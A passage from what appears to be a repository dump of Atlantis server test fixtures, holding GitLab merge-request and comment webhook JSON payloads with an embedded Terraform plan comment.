\"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example/merge_requests/2\",\n  \"time_stats\": {\n    \"time_estimate\": 0,\n    \"total_time_spent\": 0,\n    \"human_time_estimate\": null,\n    \"human_total_time_spent\": null\n  },\n  \"squash\": false,\n  \"subscribed\": false,\n  \"changes_count\": \"1\",\n  \"merged_by\": null,\n  \"merged_at\": null,\n  \"closed_by\": null,\n  \"closed_at\": null,\n  \"latest_build_started_at\": null,\n  \"latest_build_finished_at\": \"2018-08-22T06:14:24.003Z\",\n  \"first_deployed_to_production_at\": null,\n  \"pipeline\": {\n    \"id\": 28408568,\n    \"sha\": \"901d9770ef1a6862e2a73ec1bacc73590abb9aff\",\n    \"ref\": \"patch\",\n    \"status\": \"success\",\n    \"web_url\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example/pipelines/28408568\"\n  },\n  \"diff_refs\": {\n    \"base_sha\": \"cdf3f0f8aad6abc3c4700ad6e28936a2278a309b\",\n    \"head_sha\": \"901d9770ef1a6862e2a73ec1bacc73590abb9aff\",\n    \"start_sha\": \"cdf3f0f8aad6abc3c4700ad6e28936a2278a309b\"\n  },\n  \"approvals_before_merge\": null\n}\n"
  },
  {
    "path": "server/events/testdata/gitlab-get-merge-request.json",
    "content": "{\n  \"id\":6056811,\n  \"iid\":8,\n  \"project_id\":4580910,\n  \"title\":\"Update main.tf\",\n  \"description\":\"\",\n  \"state\":\"opened\",\n  \"created_at\":\"2017-11-13T19:33:42.704Z\",\n  \"updated_at\":\"2017-11-13T23:35:26.200Z\",\n  \"target_branch\":\"main\",\n  \"source_branch\":\"abc\",\n  \"upvotes\":0,\n  \"downvotes\":0,\n  \"author\":{\n    \"id\":1755902,\n    \"name\":\"Luke Kysow\",\n    \"username\":\"lkysow\",\n    \"state\":\"active\",\n    \"avatar_url\":\"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80\\u0026d=identicon\",\n    \"web_url\":\"https://gitlab.com/lkysow\"\n  },\n  \"assignee\":null,\n  \"source_project_id\":4580910,\n  \"target_project_id\":4580910,\n  \"labels\":[\n\n  ],\n  \"work_in_progress\":false,\n  \"milestone\":null,\n  \"merge_when_pipeline_succeeds\":false,\n  \"merge_status\":\"can_be_merged\",\n  \"sha\":\"0b4ac85ea3063ad5f2974d10cd68dd1f937aaac2\",\n  \"merge_commit_sha\":null,\n  \"user_notes_count\":10,\n  \"approvals_before_merge\":null,\n  \"discussion_locked\":null,\n  \"should_remove_source_branch\":null,\n  \"force_remove_source_branch\":false,\n  \"squash\":false,\n  \"web_url\":\"https://gitlab.com/lkysow/atlantis-example/merge_requests/8\",\n  \"time_stats\":{\n    \"time_estimate\":0,\n    \"total_time_spent\":0,\n    \"human_time_estimate\":null,\n    \"human_total_time_spent\":null\n  }\n}\n"
  },
  {
    "path": "server/events/testdata/gitlab-merge-request-comment-event-subgroup.json",
    "content": "{\n  \"object_kind\": \"note\",\n  \"event_type\": \"note\",\n  \"user\": {\n    \"name\": \"Luke Kysow\",\n    \"username\": \"lkysow\",\n    \"avatar_url\": \"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon\"\n  },\n  \"project_id\": 7804027,\n  \"project\": {\n    \"id\": 7804027,\n    \"name\": \"atlantis-example\",\n    \"description\": \"\",\n    \"web_url\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example\",\n    \"avatar_url\": null,\n    \"git_ssh_url\": \"git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n    \"git_http_url\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n    \"namespace\": \"sub-subgroup\",\n    \"visibility_level\": 20,\n    \"path_with_namespace\": \"lkysow-test/subgroup/sub-subgroup/atlantis-example\",\n    \"default_branch\": \"main\",\n    \"ci_config_path\": null,\n    \"homepage\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example\",\n    \"url\": \"git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n    \"ssh_url\": \"git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n    \"http_url\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git\"\n  },\n  \"object_attributes\": {\n    \"attachment\": null,\n    \"author_id\": 1755902,\n    \"change_position\": null,\n    \"commit_id\": null,\n    \"created_at\": \"2018-08-22 06:14:24 UTC\",\n    \"discussion_id\": \"cb2e85b8972c533d83457fc2851c17969c6417d0\",\n    \"id\": 96056916,\n    \"line_code\": null,\n    \"note\": \"atlantis plan\",\n    \"noteable_id\": 15372654,\n    \"noteable_type\": \"MergeRequest\",\n    \"original_position\": null,\n    \"position\": null,\n    \"project_id\": 7804027,\n    \"resolved_at\": null,\n    \"resolved_by_id\": null,\n    \"resolved_by_push\": null,\n    \"st_diff\": null,\n    \"system\": false,\n    \"type\": null,\n    \"updated_at\": \"2018-08-22 06:14:24 UTC\",\n    \"updated_by_id\": null,\n    \"description\": \"Ran Plan in dir: `.` workspace: `default`\\n\\n```diff\\nRefreshing Terraform state in-memory prior to plan...\\nThe refreshed state will be used to calculate this plan, but will not be\\npersisted to local or remote state storage.\\n\\n\\n------------------------------------------------------------------------\\n\\nAn execution plan has been generated and is shown below.\\nResource actions are indicated with the following symbols:\\n  + create\\n\\nTerraform will perform the following actions:\\n\\n+ null_resource.test\\n      id: <computed>\\nPlan: 1 to add, 0 to change, 0 to destroy.\\n\\n```\\n\\n* :arrow_forward: To **apply** this plan, comment:\\n  * `atlantis apply -d .`\\n* :put_litter_in_its_place: To **delete** this plan click [here](http://Lukes-Macbook-Pro.local:4141/lock?id=lkysow-test%252Fsubgroup%252Fsub-subgroup%252Fatlantis-example%252F.%252Fdefault) or comment:\\n  * `atlantis discard -d .`\\n* :repeat: To **plan** this project again, comment:\\n  * `atlantis plan -d .`\\n\\n---\\n* :fast_forward: To **apply** all unapplied plans from this pull request, comment:\\n  * `atlantis apply`\",\n    \"url\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example/merge_requests/2#note_96056916\"\n  },\n  \"repository\": {\n    \"name\": \"atlantis-example\",\n    \"url\": \"git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n    \"description\": \"\",\n    \"homepage\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example\"\n  },\n  \"merge_request\": {\n    \"assignee_id\": null,\n    \"author_id\": 1755902,\n    \"created_at\": \"2018-08-22 06:14:20 UTC\",\n    \"description\": \"\",\n    \"head_pipeline_id\": 28408568,\n    \"id\": 15372654,\n    \"iid\": 2,\n    \"last_edited_at\": null,\n    \"last_edited_by_id\": null,\n    \"merge_commit_sha\": null,\n    \"merge_error\": null,\n    \"merge_params\": {\n      \"force_remove_source_branch\": false\n    },\n    \"merge_status\": \"can_be_merged\",\n    \"merge_user_id\": null,\n    \"merge_when_pipeline_succeeds\": false,\n    \"milestone_id\": null,\n    \"source_branch\": \"patch\",\n    \"source_project_id\": 7804027,\n    \"state\": \"opened\",\n    \"target_branch\": \"main\",\n    \"target_project_id\": 7804027,\n    \"time_estimate\": 0,\n    \"title\": \"Update main.tf\",\n    \"updated_at\": \"2018-08-22 06:14:20 UTC\",\n    \"updated_by_id\": null,\n    \"url\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example/merge_requests/2\",\n    \"source\": {\n      \"id\": 7804027,\n      \"name\": \"atlantis-example\",\n      \"description\": \"\",\n      \"web_url\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example\",\n      \"avatar_url\": null,\n      \"git_ssh_url\": \"git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n      \"git_http_url\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n      \"namespace\": \"sub-subgroup\",\n      \"visibility_level\": 20,\n      \"path_with_namespace\": \"lkysow-test/subgroup/sub-subgroup/atlantis-example\",\n      \"default_branch\": \"main\",\n      \"ci_config_path\": null,\n      \"homepage\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example\",\n      \"url\": \"git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n      \"ssh_url\": \"git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n      \"http_url\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git\"\n    },\n    \"target\": {\n      \"id\": 7804027,\n      \"name\": \"atlantis-example\",\n      \"description\": \"\",\n      \"web_url\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example\",\n      \"avatar_url\": null,\n      \"git_ssh_url\": \"git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n      \"git_http_url\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n      \"namespace\": \"sub-subgroup\",\n      \"visibility_level\": 20,\n      \"path_with_namespace\": \"lkysow-test/subgroup/sub-subgroup/atlantis-example\",\n      \"default_branch\": \"main\",\n      \"ci_config_path\": null,\n      \"homepage\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example\",\n      \"url\": \"git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n      \"ssh_url\": \"git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n      \"http_url\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git\"\n    },\n    \"last_commit\": {\n      \"id\": \"901d9770ef1a6862e2a73ec1bacc73590abb9aff\",\n      \"message\": \"Update main.tf\",\n      \"timestamp\": \"2018-08-22T06:14:12Z\",\n      \"url\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example/commit/901d9770ef1a6862e2a73ec1bacc73590abb9aff\",\n      \"author\": {\n        \"name\": \"Luke Kysow\",\n        \"email\": \"lkysow@gmail.com\"\n      }\n    },\n    \"work_in_progress\": false,\n    \"total_time_spent\": 0,\n    \"human_total_time_spent\": null,\n    \"human_time_estimate\": null\n  }\n}\n"
  },
  {
    "path": "server/events/testdata/gitlab-merge-request-comment-event.json",
    "content": "{\n  \"object_kind\": \"note\",\n  \"user\": {\n    \"name\": \"Administrator\",\n    \"username\": \"root\",\n    \"avatar_url\": \"http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=40\\u0026d=identicon\"\n  },\n  \"project_id\": 5,\n  \"project\":{\n    \"id\": 5,\n    \"name\":\"Gitlab Test\",\n    \"description\":\"Aut reprehenderit ut est.\",\n    \"web_url\":\"http://example.com/gitlabhq/gitlab-test\",\n    \"avatar_url\":null,\n    \"git_ssh_url\":\"git@example.com:gitlabhq/gitlab-test.git\",\n    \"git_http_url\":\"https://example.com/gitlabhq/gitlab-test.git\",\n    \"namespace\":\"Gitlab Org\",\n    \"visibility_level\":10,\n    \"path_with_namespace\":\"gitlabhq/gitlab-test\",\n    \"default_branch\":\"main\",\n    \"homepage\":\"http://example.com/gitlabhq/gitlab-test\",\n    \"url\":\"https://example.com/gitlabhq/gitlab-test.git\",\n    \"ssh_url\":\"git@example.com:gitlabhq/gitlab-test.git\",\n    \"http_url\":\"https://example.com/gitlabhq/gitlab-test.git\"\n  },\n  \"repository\":{\n    \"name\": \"Gitlab Test\",\n    \"url\": \"http://localhost/gitlab-org/gitlab-test.git\",\n    \"description\": \"Aut reprehenderit ut est.\",\n    \"homepage\": \"http://example.com/gitlab-org/gitlab-test\"\n  },\n  \"object_attributes\": {\n    \"id\": 1244,\n    \"note\": \"This MR needs work.\",\n    \"noteable_type\": \"MergeRequest\",\n    \"author_id\": 1,\n    \"created_at\": \"2015-05-17\",\n    \"updated_at\": \"2015-05-17\",\n    \"project_id\": 5,\n    \"attachment\": null,\n    \"line_code\": null,\n    \"commit_id\": \"\",\n    \"noteable_id\": 7,\n    \"system\": false,\n    \"st_diff\": null,\n    \"url\": \"http://example.com/gitlab-org/gitlab-test/merge_requests/1#note_1244\"\n  },\n  \"merge_request\": {\n    \"id\": 7,\n    \"target_branch\": \"markdown\",\n    \"source_branch\": \"main\",\n    \"source_project_id\": 5,\n    \"author_id\": 8,\n    \"assignee_id\": 28,\n    \"title\": \"Tempora et eos debitis quae laborum et.\",\n    \"created_at\": \"2015-03-01 20:12:53 UTC\",\n    \"updated_at\": \"2015-03-21 18:27:27 UTC\",\n    \"milestone_id\": 11,\n    \"state\": \"opened\",\n    \"merge_status\": \"cannot_be_merged\",\n    \"target_project_id\": 5,\n    \"iid\": 1,\n    \"description\": \"Et voluptas corrupti assumenda temporibus. Architecto cum animi eveniet amet asperiores. Vitae numquam voluptate est natus sit et ad id.\",\n    \"position\": 0,\n    \"source\":{\n      \"name\":\"Gitlab Test\",\n      \"description\":\"Aut reprehenderit ut est.\",\n      \"web_url\":\"http://example.com/gitlab-org/gitlab-test\",\n      \"avatar_url\":null,\n      \"git_ssh_url\":\"git@example.com:gitlab-org/gitlab-test.git\",\n      \"git_http_url\":\"https://example.com/gitlab-org/gitlab-test.git\",\n      \"namespace\":\"Gitlab Org\",\n      \"visibility_level\":10,\n      \"path_with_namespace\":\"gitlab-org/gitlab-test\",\n      \"default_branch\":\"main\",\n      \"homepage\":\"http://example.com/gitlab-org/gitlab-test\",\n      \"url\":\"https://example.com/gitlab-org/gitlab-test.git\",\n      \"ssh_url\":\"git@example.com:gitlab-org/gitlab-test.git\",\n      \"http_url\":\"https://example.com/gitlab-org/gitlab-test.git\",\n      \"git_http_url\":\"https://example.com/gitlab-org/gitlab-test.git\"\n    },\n    \"target\": {\n      \"name\":\"Gitlab Test\",\n      \"description\":\"Aut reprehenderit ut est.\",\n      \"web_url\":\"http://example.com/gitlabhq/gitlab-test\",\n      \"avatar_url\":null,\n      \"git_ssh_url\":\"git@example.com:gitlabhq/gitlab-test.git\",\n      \"git_http_url\":\"https://example.com/gitlabhq/gitlab-test.git\",\n      \"namespace\":\"Gitlab Org\",\n      \"visibility_level\":10,\n      \"path_with_namespace\":\"gitlabhq/gitlab-test\",\n      \"default_branch\":\"main\",\n      \"homepage\":\"http://example.com/gitlabhq/gitlab-test\",\n      \"url\":\"https://example.com/gitlabhq/gitlab-test.git\",\n      \"ssh_url\":\"git@example.com:gitlabhq/gitlab-test.git\",\n      \"http_url\":\"https://example.com/gitlabhq/gitlab-test.git\"\n    },\n    \"last_commit\": {\n      \"id\": \"562e173be03b8ff2efb05345d12df18815438a4b\",\n      \"message\": \"Merge branch 'another-branch' into 'main'\\n\\nCheck in this test\\n\",\n      \"timestamp\": \"2002-10-02T10:00:00-05:00\",\n      \"url\": \"http://example.com/gitlab-org/gitlab-test/commit/562e173be03b8ff2efb05345d12df18815438a4b\",\n      \"author\": {\n        \"name\": \"John Smith\",\n        \"email\": \"john@example.com\"\n      }\n    },\n    \"work_in_progress\": false,\n    \"assignee\": {\n      \"name\": \"User1\",\n      \"username\": \"user1\",\n      \"avatar_url\": \"http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=40\\u0026d=identicon\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/events/testdata/gitlab-merge-request-event-mark-as-ready.json",
    "content": "{\n    \"object_kind\": \"merge_request\",\n    \"event_type\": \"merge_request\",\n    \"user\": {\n      \"id\": 2,\n      \"name\": \"Simon Heather\",\n      \"username\": \"sheather\",\n      \"avatar_url\": \"https://secure.gravatar.com/avatar/000b3c2c6b410f2f327d6450faab4d88?s=80&d=identicon\",\n      \"email\": \"[REDACTED]\"\n    },\n    \"project\": {\n      \"id\": 2,\n      \"name\": \"test\",\n      \"description\": null,\n      \"web_url\": \"https://gitlab.lan/sheather/test\",\n      \"avatar_url\": null,\n      \"git_ssh_url\": \"git@gitlab.lan:sheather/test.git\",\n      \"git_http_url\": \"https://gitlab.lan/sheather/test.git\",\n      \"namespace\": \"Simon Heather\",\n      \"visibility_level\": 0,\n      \"path_with_namespace\": \"sheather/test\",\n      \"default_branch\": \"main\",\n      \"ci_config_path\": null,\n      \"homepage\": \"https://gitlab.lan/sheather/test\",\n      \"url\": \"git@gitlab.lan:sheather/test.git\",\n      \"ssh_url\": \"git@gitlab.lan:sheather/test.git\",\n      \"http_url\": \"https://gitlab.lan/sheather/test.git\"\n    },\n    \"object_attributes\": {\n      \"assignee_id\": null,\n      \"author_id\": 2,\n      \"created_at\": \"2023-07-02 15:59:31 UTC\",\n      \"description\": \"\",\n      \"head_pipeline_id\": 8,\n      \"id\": 3,\n      \"iid\": 3,\n      \"last_edited_at\": null,\n      \"last_edited_by_id\": null,\n      \"merge_commit_sha\": null,\n      \"merge_error\": null,\n      \"merge_params\": {\n        \"force_remove_source_branch\": \"1\"\n      },\n      \"merge_status\": \"can_be_merged\",\n      \"merge_user_id\": null,\n      \"merge_when_pipeline_succeeds\": false,\n      \"milestone_id\": 1,\n      \"source_branch\": \"sheather-cloudfront-patch-92417\",\n      \"source_project_id\": 2,\n      \"state_id\": 1,\n      \"target_branch\": \"cloudfront\",\n      \"target_project_id\": 2,\n      \"time_estimate\": 0,\n      \"title\": \"Update live/aws/123456789012/develop/eu-west-2/cloudfront/main.tf\",\n      \"updated_at\": \"2023-07-02 17:02:07 UTC\",\n      \"updated_by_id\": 2,\n      \"url\": \"https://gitlab.lan/sheather/test/-/merge_requests/3\",\n      \"source\": {\n        \"id\": 2,\n        \"name\": \"test\",\n        \"description\": null,\n        \"web_url\": \"https://gitlab.lan/sheather/test\",\n        \"avatar_url\": null,\n        \"git_ssh_url\": \"git@gitlab.lan:sheather/test.git\",\n        \"git_http_url\": \"https://gitlab.lan/sheather/test.git\",\n        \"namespace\": \"Simon Heather\",\n        \"visibility_level\": 0,\n        \"path_with_namespace\": \"sheather/test\",\n        \"default_branch\": \"main\",\n        \"ci_config_path\": null,\n        \"homepage\": \"https://gitlab.lan/sheather/test\",\n        \"url\": \"git@gitlab.lan:sheather/test.git\",\n        \"ssh_url\": \"git@gitlab.lan:sheather/test.git\",\n        \"http_url\": \"https://gitlab.lan/sheather/test.git\"\n      },\n      \"target\": {\n        \"id\": 2,\n        \"name\": \"test\",\n        \"description\": null,\n        \"web_url\": \"https://gitlab.lan/sheather/test\",\n        \"avatar_url\": null,\n        \"git_ssh_url\": \"git@gitlab.lan:sheather/test.git\",\n        \"git_http_url\": \"https://gitlab.lan/sheather/test.git\",\n        \"namespace\": \"Simon Heather\",\n        \"visibility_level\": 0,\n        \"path_with_namespace\": \"sheather/test\",\n        \"default_branch\": \"main\",\n        \"ci_config_path\": null,\n        \"homepage\": \"https://gitlab.lan/sheather/test\",\n        \"url\": \"git@gitlab.lan:sheather/test.git\",\n        \"ssh_url\": \"git@gitlab.lan:sheather/test.git\",\n        \"http_url\": \"https://gitlab.lan/sheather/test.git\"\n      },\n      \"last_commit\": {\n        \"id\": \"386f281f2c9b1a3b659fc7a244ca6781174e1836\",\n        \"message\": \"Update main.tf\",\n        \"title\": \"Update main.tf\",\n        \"timestamp\": \"2023-07-02T16:33:22+00:00\",\n        \"url\": \"https://gitlab.lan/sheather/test/-/commit/386f281f2c9b1a3b659fc7a244ca6781174e1836\",\n        \"author\": {\n          \"name\": \"Simon Heather\",\n          \"email\": \"[REDACTED]\"\n        }\n      },\n      \"work_in_progress\": false,\n      \"total_time_spent\": 0,\n      \"time_change\": 0,\n      \"human_total_time_spent\": null,\n      \"human_time_change\": null,\n      \"human_time_estimate\": null,\n      \"assignee_ids\": [\n  \n      ],\n      \"reviewer_ids\": [\n        2\n      ],\n      \"labels\": [\n  \n      ],\n      \"state\": \"opened\",\n      \"blocking_discussions_resolved\": true,\n      \"first_contribution\": false,\n      \"detailed_merge_status\": \"ci_must_pass\",\n      \"action\": \"update\"\n    },\n    \"labels\": [\n  \n    ],\n    \"changes\": {\n      \"title\": {\n        \"previous\": \"Draft: Update live/aws/123456789012/develop/eu-west-2/cloudfront/main.tf\",\n        \"current\": \"Update live/aws/123456789012/develop/eu-west-2/cloudfront/main.tf\"\n      },\n      \"updated_at\": {\n        \"previous\": \"2023-07-02 17:01:45 UTC\",\n        \"current\": \"2023-07-02 17:02:07 UTC\"\n      }\n    },\n    \"repository\": {\n      \"name\": \"test\",\n      \"url\": \"git@gitlab.lan:sheather/test.git\",\n      \"description\": null,\n      \"homepage\": \"https://gitlab.lan/sheather/test\"\n    },\n    \"reviewers\": [\n      {\n        \"id\": 2,\n        \"name\": \"Simon Heather\",\n        \"username\": \"sheather\",\n        \"avatar_url\": \"https://secure.gravatar.com/avatar/000b3c2c6b410f2f327d6450faab4d88?s=80&d=identicon\",\n        \"email\": \"[REDACTED]\"\n      }\n    ]\n  }\n"
  },
  {
    "path": "server/events/testdata/gitlab-merge-request-event-subgroup.json",
    "content": "{\n  \"object_kind\": \"merge_request\",\n  \"event_type\": \"merge_request\",\n  \"user\": {\n    \"name\": \"Luke Kysow\",\n    \"username\": \"lkysow\",\n    \"avatar_url\": \"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon\"\n  },\n  \"project\": {\n    \"id\": 7804027,\n    \"name\": \"atlantis-example\",\n    \"description\": \"\",\n    \"web_url\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example\",\n    \"avatar_url\": null,\n    \"git_ssh_url\": \"git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n    \"git_http_url\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n    \"namespace\": \"sub-subgroup\",\n    \"visibility_level\": 20,\n    \"path_with_namespace\": \"lkysow-test/subgroup/sub-subgroup/atlantis-example\",\n    \"default_branch\": \"main\",\n    \"ci_config_path\": null,\n    \"homepage\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example\",\n    \"url\": \"git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n    \"ssh_url\": \"git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n    \"http_url\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git\"\n  },\n  \"object_attributes\": {\n    \"assignee_id\": null,\n    \"author_id\": 1755902,\n    \"created_at\": \"2018-08-22 06:14:20 UTC\",\n    \"description\": \"\",\n    \"head_pipeline_id\": null,\n    \"id\": 15372654,\n    \"iid\": 2,\n    \"last_edited_at\": null,\n    \"last_edited_by_id\": null,\n    \"merge_commit_sha\": null,\n    \"merge_error\": null,\n    \"merge_params\": {\n      \"force_remove_source_branch\": false\n    },\n    \"merge_status\": \"unchecked\",\n    \"merge_user_id\": null,\n    \"merge_when_pipeline_succeeds\": false,\n    \"milestone_id\": null,\n    \"source_branch\": \"patch\",\n    \"source_project_id\": 7804027,\n    \"state\": \"opened\",\n    \"target_branch\": \"main\",\n    \"target_project_id\": 7804027,\n    \"time_estimate\": 0,\n    \"title\": \"Update main.tf\",\n    \"updated_at\": \"2018-08-22 06:14:20 UTC\",\n    \"updated_by_id\": null,\n    \"url\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example/merge_requests/2\",\n    \"source\": {\n      \"id\": 7804027,\n      \"name\": \"atlantis-example\",\n      \"description\": \"\",\n      \"web_url\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example\",\n      \"avatar_url\": null,\n      \"git_ssh_url\": \"git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n      \"git_http_url\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n      \"namespace\": \"sub-subgroup\",\n      \"visibility_level\": 20,\n      \"path_with_namespace\": \"lkysow-test/subgroup/sub-subgroup/atlantis-example\",\n      \"default_branch\": \"main\",\n      \"ci_config_path\": null,\n      \"homepage\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example\",\n      \"url\": \"git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n      \"ssh_url\": \"git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n      \"http_url\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git\"\n    },\n    \"target\": {\n      \"id\": 7804027,\n      \"name\": \"atlantis-example\",\n      \"description\": \"\",\n      \"web_url\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example\",\n      \"avatar_url\": null,\n      \"git_ssh_url\": \"git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n      \"git_http_url\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n      \"namespace\": \"sub-subgroup\",\n      \"visibility_level\": 20,\n      \"path_with_namespace\": \"lkysow-test/subgroup/sub-subgroup/atlantis-example\",\n      \"default_branch\": \"main\",\n      \"ci_config_path\": null,\n      \"homepage\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example\",\n      \"url\": \"git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n      \"ssh_url\": \"git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n      \"http_url\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example.git\"\n    },\n    \"last_commit\": {\n      \"id\": \"901d9770ef1a6862e2a73ec1bacc73590abb9aff\",\n      \"message\": \"Update main.tf\",\n      \"timestamp\": \"2018-08-22T06:14:12Z\",\n      \"url\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example/commit/901d9770ef1a6862e2a73ec1bacc73590abb9aff\",\n      \"author\": {\n        \"name\": \"Luke Kysow\",\n        \"email\": \"lkysow@gmail.com\"\n      }\n    },\n    \"work_in_progress\": false,\n    \"total_time_spent\": 0,\n    \"human_total_time_spent\": null,\n    \"human_time_estimate\": null,\n    \"action\": \"open\"\n  },\n  \"labels\": [\n\n  ],\n  \"changes\": {\n    \"total_time_spent\": {\n      \"previous\": null,\n      \"current\": 0\n    }\n  },\n  \"repository\": {\n    \"name\": \"atlantis-example\",\n    \"url\": \"git@gitlab.com:lkysow-test/subgroup/sub-subgroup/atlantis-example.git\",\n    \"description\": \"\",\n    \"homepage\": \"https://gitlab.com/lkysow-test/subgroup/sub-subgroup/atlantis-example\"\n  }\n}\n"
  },
  {
    "path": "server/events/testdata/gitlab-merge-request-event-update-assignee.json",
    "content": "{\n  \"object_kind\": \"merge_request\",\n  \"event_type\": \"merge_request\",\n  \"user\": {\n    \"name\": \"Quan Hoang\",\n    \"username\": \"quan.hoang\",\n    \"avatar_url\": \"https://gitlab.com/uploads/-/system/user/avatar/255/avatar.png\",\n    \"email\": \"hdquan@pm.me\"\n  },\n  \"project\": {\n    \"id\": 910,\n    \"name\": \"Test Gitlab Webhook\",\n    \"description\": \"\",\n    \"web_url\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n    \"avatar_url\": null,\n    \"git_ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"git_http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\",\n    \"namespace\": \"Quan Hoang\",\n    \"visibility_level\": 0,\n    \"path_with_namespace\": \"quan.hoang/atlantis-example\",\n    \"default_branch\": \"main\",\n    \"ci_config_path\": null,\n    \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n    \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n    \"http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\"\n  },\n  \"object_attributes\": {\n    \"assignee_id\": 255,\n    \"author_id\": 255,\n    \"created_at\": \"2020-12-08 04:04:23 UTC\",\n    \"description\": \"New description\",\n    \"head_pipeline_id\": null,\n    \"id\": 41728,\n    \"iid\": 3,\n    \"last_edited_at\": \"2020-12-08 04:05:16 UTC\",\n    \"last_edited_by_id\": 255,\n    \"merge_commit_sha\": null,\n    \"merge_error\": null,\n    \"merge_params\": {\n      \"force_remove_source_branch\": \"1\"\n    },\n    \"merge_status\": \"can_be_merged\",\n    \"merge_user_id\": null,\n    \"merge_when_pipeline_succeeds\": false,\n    \"milestone_id\": null,\n    \"source_branch\": \"get-event-payload\",\n    \"source_project_id\": 910,\n    \"state_id\": 1,\n    \"target_branch\": \"main\",\n    \"target_project_id\": 910,\n    \"time_estimate\": 0,\n    \"title\": \"Add new file\",\n    \"updated_at\": \"2020-12-08 04:05:58 UTC\",\n    \"updated_by_id\": 255,\n    \"url\": \"https://gitlab.com/quan.hoang/atlantis-example/-/merge_requests/3\",\n    \"source\": {\n      \"id\": 910,\n      \"name\": \"Test Gitlab Webhook\",\n      \"description\": \"\",\n      \"web_url\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"avatar_url\": null,\n      \"git_ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"git_http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\",\n      \"namespace\": \"Quan Hoang\",\n      \"visibility_level\": 0,\n      \"path_with_namespace\": \"quan.hoang/atlantis-example\",\n      \"default_branch\": \"main\",\n      \"ci_config_path\": null,\n      \"homepage\": \"https://gitlab.com/quan.hoang/atlantis-example\",\n      \"url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"ssh_url\": \"git@gitlab.com:quan.hoang/atlantis-example.git\",\n      \"http_url\": \"https://gitlab.com/quan.hoang/atlantis-example.git\"\n    },\n    \"target\": {\n      \"id\": 910,\n      \"name\": \"Test Gitlab Webhook\",\n      